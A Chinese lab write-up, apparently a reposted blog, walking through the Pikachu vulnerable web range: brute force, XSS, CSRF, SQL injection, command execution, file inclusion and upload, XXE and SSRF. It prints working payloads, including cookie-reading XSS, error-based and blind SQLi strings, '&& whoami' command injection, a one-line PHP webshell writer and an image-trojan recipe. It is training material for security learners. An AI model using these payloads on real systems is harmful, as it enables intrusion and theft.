pikachu靶场总结

news2025/1/17 15:58:01

目录

一.暴力破解

1.基于表单的暴力破解

2.验证码绕过(on server)

3.验证码绕过(client)

4.token防爆破

二.Cross-Site Scripting

1.先了解XSS

2.反射型xss(get)

3.反射型xss(post)

4.存储型xss

5.DOM型xss

6.DOM型xss-x

7.xss之盲打

8.xss之过滤

9.xss之htmlspecialchars

10.xss之href输出

11.xss之js输出

三.CSRF

1.CSRF(get)

2.CSRF(post)

3.CSRF Token

四.SQL注入

1.数字型注入(post)

2.字符型注入(get)

3..搜索型注入

4.xx型注入

5.insert/update注入

(1)update注入

(2)insert注入

6.delete注入

7."http header"注入

8.盲注(base on boolian布尔类型)

9.盲注(based on time时间类型)

10.宽字节注入

五.RCE

1.exec"ping"

2.exec"eval"

六.File Inclusion

1.File Inclusion(local)

2.File Inclusion(remote)

七.Unsafe Filedownload

1.过关

八.Unsafe Fileupload

1.client check

2.MIME type

3.getimagesize

九.Over Permission

1.水平越权

2.垂直越权

十.../../(目录遍历)

1.过关

十一.敏感信息泄露

1.过关

十二.PHP反序列化

1.过关

十三.XXE

1.过关

十四.URL重定向

1.过关

十五.SSRF

1.SSRF(curl)

2.SSRF(file_get_content)


一.暴力破解

1.基于表单的暴力破解

bp抓包,Cluster bomb爆破,破解出账号和密码

2.验证码绕过(on server)

bp抓包不放行,使验证码不刷新,然后再Cluster bomb爆破,破解出账号和密码

3.验证码绕过(client)

将浏览器的javascript禁用掉,使验证码消失,bp抓包,然后Cluster bomb爆破

4.token防爆破

bp抓包,因为多了个token,这次改为Pitchfork爆破,选好各自的字典(在Payload Options处,token的部署查看我之前的博客),线程改为1,然后进行爆破。

二.Cross-Site Scripting

1.先了解XSS

概念:跨站脚本攻击

类型:反射型、存储型、DOM型

原理、危害、利用方式等

2.反射型xss(get)

因为前端页面输入的长度有限制,先将其修改,再使用<script> 定义客户端脚本,如:

<script>alert("1")</script>

出现1的弹窗,且url中显示参数内容

3.反射型xss(post)

测试<script>alert('1')</script>,但url不显示,所以不能把恶意代码嵌入url中

测试同时bp抓包,用Generatr CSRF PoC写出html代码,然后复制代码到记事本,并以.html命名,打开该文件,然后将网址链接发给受害者,让其点开,出现1的弹窗

4.存储型xss

输入留言,发现其可以永久存储并输出我们的留言,意思就是我们输入的东西可以被浏览器储存起来,这些东西可以是恶意代码,这就是与反射型xss不同的地方

插入payload: <script>alert('xss')</script>

成功弹窗!

5.DOM型xss

DOM型xss属于纯前端的漏洞,在我们输入后会得到一个字符串,然后通过字符换拼接方式拼接到 a href中。

F12,发现a元素href属性的值改编成了我们的输入值

所以要构造一个闭包函数到输入文本框中

插入payload:# ' οnclick="alert(123)">

再点击'>what do you see?     //然后成功弹窗

或者插入payload:# ' οnmοuseοver="alert(123)"> 

然后将鼠标碰到'>what do you see?     //然后成功弹窗

6.DOM型xss-x

上F12审查,发现有domxss()出现

查找function domxss(),给出两个提示

按照第一个提示:插入payload:'><img src="#" οnmοuseοver="alert('xss')">

再点击“有些费尽心机想要忘记的事情,后来就真的忘掉了”

然后鼠标碰住回显的小图标    //成功弹窗

按照第二个提示:插入payload:' οnclick="alert('xss')">,将dom闭合

再点击“有些费尽心机想要忘记的事情,后来就真的忘掉了”

再点击“'>就让往事都随风,都随风吧”    //成功弹窗

7.xss之盲打

见空插空,分别插入payload:<script>alert(1)</script>和<script>alert(2)</script> 

查看提示登录后台,访问后台地址并登录,先后出现内容分别为1和2的两个弹窗

然后发现输入的内容被记录了下来(本质上也是一种存储xss)

8.xss之过滤

这一题存在过滤,经过尝试后发现是大小写过滤

输入payload:<SCript>alert(1)</SCript>    //成功弹窗

查看源码发现仅仅是对<script进行过滤

输入<button οnclick="alert('123')">点我</button>    //成功弹窗

9.xss之htmlspecialchars

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

(1)& (和号)成为 &    (2)" (双引号)成为 "

(3)' (单引号)成为 '    (4)< (小于)成为 <

(5)> (大于)成为 >

该函数默认不过滤单引号,只有设置才可以过滤单引号;

插入payload:'οnclick='alert(123)'    //成功弹窗

或者插入payload:javascript:alert(1)    //成功弹窗

10.xss之href输出

插入payload:<script>alert(1)<script>,没有弹框

鼠标右键–查看网页源代码,发现左右尖括号和单引号都被html编码了,这样的话,闭合标签或者闭合属性都行不通了。

看提示说跟a标签的href,img里的src属性有关

网上查询相关资料,href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段

所以可以插入payload:javascript:alert(document.cookie)    //成功弹窗

11.xss之js输出

还是先插入payload:<script>alert(1)<script>,没有弹框

继续右键查看源代码,发现输入的东西跑到<script>标签内了,并且没有被编码

无中生有出一个js语句得以解决,首先要用’;闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的’;

输入payload:';alert(1);//

成功弹窗

三.CSRF

1.CSRF(get)

选择提示中的用户登录,假设用户要修改个人信息,提交并用bp抓包,发现是GET型,将除了用户要修改信息以外的其他信息进行修改,然后将url复制下来,伪造成链接让用户去点击,链接被点击后,这些信息就在用户不知情的情况下被修改完了。

2.CSRF(post)

选择提示中的用户登录,还是假设用户要修改个人信息,提交并用bp抓包,发现是POST型,用Generate CSRF PoC打开并修改其他信息(具体操作查看我以前博客),再利用这里自带的工具伪造成链接让用户去点击,打开后是一个按钮,用户按了按钮后,其信息就被修改了。

3.CSRF Token

依旧是先登录进去,假设用户要修改个人信息,提交并用bp抓包,发现也是GET型,但有token验证,返回包(Repeater)里也有token

而用一次token之后就会失效,返回包里含有下一次的token值,我们可以利用这一点来绕过

将数据包发送到重发器,将返回包里的token值复制过来,然后将其他信息进行修改,然后将url复制下来,再伪造成链接让用户去点击,点击后其信息就又被修改了。

四.SQL注入

1.数字型注入(post)

选择查询id为1的用户,查看上方url,发现没有传参,说明其实post类型,bp抓包,通过post传参插入sql语句,进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。

2.字符型注入(get)

输入用户名,查看上方url有显示,说明是get类型,通过插入sql语句修改url(用'来闭合),随后访问来进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。

3..搜索型注入

只输个“k”,网页返回所有带k的,且上面同样有url显示,还是通过插入sql语句修改url(用%'来闭合),随后访问来进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。

4.xx型注入

输入用户名,查看上方url有显示,还是通过插入sql语句修改url(这次用')来闭合),随后访问来进行找列数,爆库,爆表,爆列,爆数据,读文件,写马等操作。

5.insert/update注入

先了解一下updatexml()函数的用法

(1)update注入

点击注册,在用户栏写如下代码(注意闭合):

' or updatexml(1, concat(0x7e, database()), 0) or '

密码那些随便写,提交后,回显是个报错,但其已经回显了数据库名

同理可以把database()改为其他函数来获得更多数据库信息

(2)insert注入

注册好一个用户666并登录

点击修改个人信息,再在性别一栏输入刚才的代码:

' or updatexml(1, concat(0x7e, database()), 0) or '

提交后同样得到了数据库名

同理也可以把database()改为其他函数来获得更多数据库信息

6.delete注入

随便输入一条留言666,再点击删除,同时用bp抓包,发现其是GET传参

之后在id=后输入如下代码将其闭合

1 or updatexml(1, concat(0x7e, database()), 0)

再将此段代码转换为特殊字符的url编码(具体操作查看我以前博客)

最后send,就得到了数据库名(和上题一样,还是以报错的形式)

7."http header"注入

先了解一下什么是"http header"注入

按提示,我们用admin登录,刷新一下并用bp抓包

send to Repeater后,再修改user agent 内容为如下

' or updatexml(1,concat(0x7e, database()), 0) or '

最后send,成功得到数据库名(仍以报错的方式) 

8.盲注(base on boolian布尔类型)

布尔类型为只有我们输入的条件为真时,才能输出正确信息

输入kobe' and length(database())=1#,显示您输入的username不存在.......

再把1换成2,以此类推,发现=7的时候,输出了正确信息

以此就知道了数据库长度为7,同理,更换其他函数来测试其他数据

9.盲注(based on time时间类型)

时间类型为无论输入是否正确,都返回相同数据,我们无法判断自己输入的条件是否为真,所以在后面加了一个时间限制

输入kobe' and if(length(database())=7, sleep(1),5)#

意思为:若length(database())=7正确,延迟1秒返回:若不正确,延迟5秒返回

根据回显时间的不同来确定哪句为正确信息

10.宽字节注入

先了解宽字节的原理(便于后面的理解)

接下来看题,随便输入一个用户123,用bp抓包发现其是post类型的

再send to Repeater

然后将name修改为如下代码(注意f后面有个单引号)

1%df' union select 1,2#

最后send一下,成功得到我们想要的信息!

五.RCE

1.exec"ping"

远程系统命令执行,后台对用户输入的IP地址进行一次 ping 测试,并返回测试结果。

ping 一下本地127.0.0.1,成功

输入127.0.0.1 && whoami,成功得到域和用户名

输入127.0.0.1 && dir,可以查看当前路径和路径下的文件

2.exec"eval"

远程代码执行,后台把用户的输入作为代码的一部分进行执行。

输入:phpinfo();   //phpinfo()函数被执行了 

输入:fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');     //返回没有什么特别,但是到本关目录下查看发现木马文件已经上传成功。

六.File Inclusion

1.File Inclusion(local)

提交查询后发现url有显示,其中包含了一个文件file1.php,bp抓包爆破,爆破位置设置为文件名中的数字,发现有file6/7/10/100.php四种长度

分别将url中的file1.php改为file6.php、file7.php、file10.php、file100.php

file6.php是包含用户名和密码的隐藏文件

file7.php、file10.php和file100.php都返回了类似的报错信息

结合报错信息中泄露的fi_local.php文件位置,可以算出相对路径为../../../../../../windows/win.ini,代入url中组成payload:

http://127.0.0.1/pk/vul/fileinclude/fi_local.php?filename=../../../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4

成功读取到C:\Windows\win.ini文件的内容

2.File Inclusion(remote)

先将allow_url_include打开(具体操作看我以前博客)

提交查询后发现url中把include()函数的完整参数给出来了。

所以这关其实除了远程文件包含,还可以本地文件包含使用绝对路径

直接在filename后加上想要的C:\Windows\win.ini,访问:

http://127.0.0.1/pk/vul/fileinclude/fi_remote.php?filename=C:\Windows\win.ini&submit=%E6%8

F%90%E4%BA%A4

成功读取到C:\Windows\win.ini文件的内容

七.Unsafe Filedownload

1.过关

点击下载头像图片之后直接下载了,没有页面跳转,地址栏的url没有变化

右键查看源代码

<a href="execdownload.php?filename=kb.png" >科比. 布莱恩特</a>  对应的就是文件下载的点

把execdownload.php?filename=和当前网页路径组装起来,后面接上我们想要的文件路径:

比如:

http://ip/pk/vul/unsafedownload/execdownload.php?filename=../../../../../../windows/win.ini

访问该地址,win.ini将被下载

八.Unsafe Fileupload

1.client check

上传phpninfo文件,命名为1.php,提示说不符合文件要求

看提示说只让上传图片文件,把1.php后缀改为.png,开始上传并bp抓包,再send to repeater

再把文件名改回成1.php,点send,php文件上传成功,且暴露了路径

访问下面链接并成功

2.MIME type

看提示说还是只允许上传图片,我们照样上传1.php,提示又说只能是jpg,jpeg,png形式的

继续把1.php后缀改为.png,开始上传并抓包,再send to repeater

后面的过程就和第一题一样了,不同之处在于只有上传文件的MIME类型包含在预定义的MIME白名单之中时,才允许上传,即只允许上传'image/jpg'、'image/jpeg'、'image/png'这三种MIME类型的文件。

3.getimagesize

先了解getimagesize()函数

照前两关那样上传1.png,被识别出了假图片

上传一个真的jpeg文件,据结果后端代码修改了文件名,但是还把文件保存路径回显了出来

绕过getimagesize ( )检测——制作图片木马

准备php脚本1.php,再准备一张图片666.png

win+r输入cmd,进入命令提示符

输入命令copy /b 666.png + 1.php 123.png,在桌面生成123.png的图片马

再回到题目上传该图片,发现上传成功,同样把文件保存路径回显了出来!

九.Over Permission

1.水平越权

选择用户如lucy登录,点击查看个人信息,我们注意到了上面url有显示,说明是get传参

把url中的lucy改为lili,发现我们没登录就显示出了lili的信息,换成kobe也是一样的

查看源码发现查找用户信息的时候传入的参数是直接从url中获取的,没有校验当前用户,所以才造成了此漏洞

2.垂直越权

选择用admin登录,有查看,添加,删除的权限

换pikachu登录,其只有查看权限

换回admin,我们试着添加一个用户xunlei,记录其的url

 退出admin,换为用pikachu登录

据刚才的url修改地址栏的url:http://127.0.0.1/pk/vul/overpermission/op2/op2_admin_edit.php

就直接来到了添加用户的界面,但我们发现,pikachu也有了添加用户的权限

再随便创建一个用户Tom

创建完之后会跳到登录页面,用pikachu登录之后,发现用户Tom已经创建成功!

十.../../(目录遍历)

1.过关

分别点进去两个链接,并查看他们的url

url中(以第一个为例),在jarheads加上../../(../表示返回上一层目录),虽然报错了,但是显示出具体路径了。

创建一个php文件,命名为123.php,写入phpinfo()函数,并把它放在刚才的文件路径下

构造url来访问刚刚的php文件或者是本地文件如win.ini

十一.敏感信息泄露

1.过关

F12看前端代码,发现了用户名和密码,登录后并记录url,对比登录前的url,发现少了find

在登录界面直接把url的find去掉,可以登录成功,以此绕过了登录系统

十二.PHP反序列化

1.过关

先了解什么是PHP反序列化、序列化serialize()、反序列化unserialize()

了解后回到题目插入payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}     //弹窗

如果想要弹窗返回cookie,修改payload为:

O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}      //弹窗

十三.XXE

1.过关

了解XML声明、文档类型定义 DTD、文档元素这些基础知识

然后输入相关xml代码来获取相关信息,如判断内部实体、查看本地文件(外部实体)

十四.URL重定向

1.过关

四句话分别点一下

第一句和第二句都没反应,第三句返回到了URL重定向概述界面

第四句,有回显,如下,还发现url多了个“url=i”

F12查看前段代码,发现了原因,其他的都是空白,唯有第四句有内容

将第四句url后面的内容修改一下,上传恶意url,让其跳转!

十五.SSRF

1.SSRF(curl)

先了解一下curl函数(具体看我以前博客)

回到题目,点击那句话,出现了一首诗,还清楚地显示了url

我们可以利用curl支持的多种协议,通过修改url来探测服务器内网信息

如:查看本地文件(file协议):?url=file:///c:/windows/win.ini

2.SSRF(file_get_content)

再了解一下 file_get_content()相关函数的用法(具体看我以前博客)

回到题目,再点击那句话,同样出现了一首诗,不同的是,上面的“url”变为了“file”

还是先file协议进行文件读取:

查看本地文件 payload:?file=file:///c:/windows/win.ini

更多相关知识详细请看我之前写过的有关pikachu靶场的所有博客

哎呀妈呀,终于写完了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/606922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[SPSS] SPSS统计分析软件简介

SPSS的英文缩写来源于以下两个 ① Statistical Package for Social Science(社会科学统计软件包) ② Statistical Product and Service Solutions(统计产品与服务解决方案) SPSS是一种专业的统计分析软件。为用户提供了直观的图形化菜单界面&#xff0c;用户的数据管理和统计…

C++——多态与虚表

目录 1.多态的实现 2.虚表 2.1虚函数重写是怎么实现的 2.2多态的原理 2.3静态绑定与动态绑定 3.单继承体系中的虚函数表 ​编辑4.多继承体系中的虚函数表 5.菱形继承的虚函数表 6.菱形虚拟继承的虚函数表 1.多态的实现 在C中&#xff0c;要想实现多态&#xff0c;必…

认识elasticSearch并安装

一、介绍 定义&#xff1a;简称es&#xff0c;本质是一个开源的nosql数据库。主要用于全文检索&#xff0c;所以我们又称它为搜索引擎框架&#xff1b; 用途&#xff1a;实时数据搜索、日志采集分析 特点&#xff1a; 检索快。面对PB级的海量数据&#xff0c;用传统sql方式…

solr快速上手:配置从mysql同步数据(五)

0. 引言 上一节我们已经配置了新的索引&#xff0c;但是数据还是手动添加的&#xff0c;并没有实现自动从数据库同步&#xff0c;所以这一节&#xff0c;继续来实现从mysql同步数据到solr solr快速上手&#xff1a;solr简介及安装&#xff08;一&#xff09; solr快速上手&a…

chatgpt赋能python:Python中取某个元素的技巧

Python 中取某个元素的技巧 作为一种强大而灵活的编程语言&#xff0c;Python 常常被用来处理各种数据集合&#xff0c;如列表、元组、字典等。在处理这些数据集合的过程中&#xff0c;取某个元素的需求很常见&#xff0c;同时也有多种实现方法。在本文中&#xff0c;我们将介…

python学习-进阶基本知识点总结

&#xff08;一&#xff09;正则表达式 1、正则表达式 字符类 [abc]&#xff1a;匹配 “a”、“b” 或 “c” 中的任意一个字符。abc&#xff1a;除了 “a”、“b” 和 “c” 以外的任何字符。[a-z]&#xff1a;匹配任何小写字母。[A-Z]&#xff1a;匹配任何大写字母。[0-9]&…

第6节:obj/fbx/shp等转3dtiles(免费转换工具+视频)

推介使用cesiumlab 进行转换(可免费转换,含转换结果预览),网上也看了很多转换工具,要么操作安装不方便,要么转换出来效果不理想。 1、下载cesiumlab工具 下载地址 2、启动cesiumlab,进行登录访问(网页版) 没有账号的可以用手机号注册一个 3、 选择通用模型切片 …

恒容容器放气的瞬时流量的计算与合金氢化物放氢流量曲线的计算

有时候&#xff0c;你会遇到一个问题&#xff0c;该问题的描述如下&#xff1a; 你有一个已知体积的容器&#xff0c;设容器体积为V&#xff0c;里面装有一定压力(初始压力)的气体&#xff0c;如空气或氢气等&#xff0c;设初始压力为1MPa&#xff0c;容器出口连接着一个阀门开…

数据库关系操作集合

文章目录 传统集合运算1:联合&#xff08;UNION&#xff09;2:差集&#xff08;EXCEPT 或 MINUS 或 LEFT JOIN&&IS NULL&#xff09;3:交集&#xff08;INTERSECT或INNER JOIN&#xff09;4:笛卡尔积&#xff08;JOIN&#xff09; 专门集合运算1:选择&#xff08;SELEC…

JVM那些事 (含经典面试题)

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点! 欢迎志同道合的朋友一起加油喔&#x1f93a;&#x1f93a;&#x1f93a; 目录 前言: 1. JVM&#xff1a;Java 虚拟机&#x…

【MySQL高级篇笔记-性能分析工具的使用 (中) 】

此笔记为尚硅谷MySQL高级篇部分内容 目录 一、数据库服务器的优化步骤 二、查看系统性能参数 三、统计SQL的查询成本&#xff1a;last_query_cost 四、定位执行慢的 SQL&#xff1a;慢查询日志 1、开启慢查询日志参数 2、查看慢查询数目 3、慢查询日志分析工具&#xf…

k8s 配置service失败

服务暴露的端口不可用 查看容器的状态是否为Running。 进入容器&#xff0c;然后对容器进行curl。 curl 127.0.0.0:<需要查询的端口>如果是refuse或者其他返回&#xff0c;说明服务完全不可用。 注册service 能够进行外网访问的必须是NodePort类型。NodeIP是无法进…

Java 实现在顺序表指定位置插入一个元素

一、思路 1.定义一个pos变量来记录要插入的位置. 2.定义一个usedSize变量来记录元素个数. 3.定义一个data变量来记录要插入的元素值. 4.要保证pos位置合法&#xff0c;也就是不是负数&#xff0c;因为是要保证pos位置前是要有元素&#xff0c;因此也不能大于元素个数. 5.也需要…

【电子学会】2023年03月图形化二级 -- 电子画板

电子画板 1. 准备工作 (1)删除默认的小猫角色,保留默认白色背景; (2)从角色库添加Arrow1角色作为画笔; (3)绘制五个角色:颜色分别为红、黄、绿、蓝、紫的圆形; (4)将Arrow1角色的第一个造型修改为下图所示状态,箭头尖端在角色中心位置。 2. 功能实现 (1)点…

他山之石可以攻玉:解锁9个chatGPT常用姿势

ChatGPT是一个颠覆性的人工智能&#xff0c;可以用来实现众多目标。下面是我们用中文提出的关于这些任务的指令&#xff0c;以及来自ChatGPT的中文回答示例。 调试代码 提示&#xff1a;为什么我的python代码报错&#xff1a;x [2, 3, 8 9]&#xff1f; ChatGPT回答&#x…

chatgpt赋能python:Python反转输出的利用

Python反转输出的利用 在Python编程中&#xff0c;有时候需要对一些字符串或列表进行反转输出。这种操作非常实用&#xff0c;可以用于字符串或列表翻转、倒序等场景&#xff0c;可以帮助我们提高代码的效率。在本文中&#xff0c;我们将介绍Python反转输出的方法以及实用性。…

2023/06/03 软件PM入门学习(二)

视频参考地址&#xff1a; B站闫波软件项目管理视频学习. 视频资源&#xff1a;video P3 本篇重点&#xff1a;过程、CMMI 简书日更计划同步记录&#x1f3c3;… 杂 项目管理五要素 技术、方法、团队建设、信息、沟通 战略角度 人员&#xff08;people&#xff09;问题 &am…

用Python的turtle和matplotlib画出圆满和爱心

马上就要到六一儿童节了&#xff0c;小朋友很喜欢画画&#xff0c;这里就用Pyhton来画一些简单形状。 首先是圆形&#xff0c;圆形的寓意是圆满、完美、团圆、优胜和团结。圆形在形状上是一个平面中点到定点距离相等的图形&#xff0c;象征着圆满和完美&#xff0c;寓意着无所不…

chatgpt赋能python:用什么软件编写Python文件?

用什么软件编写Python文件&#xff1f; Python 是一种流行的编程语言&#xff0c;许多人使用它来编写软件应用程序、数据分析工具以及自动化脚本。但是对于初学者来说&#xff0c;可能会感到迷茫&#xff0c;不知道应该用什么软件来编写并运行Python文件。本文将介绍几种非常流…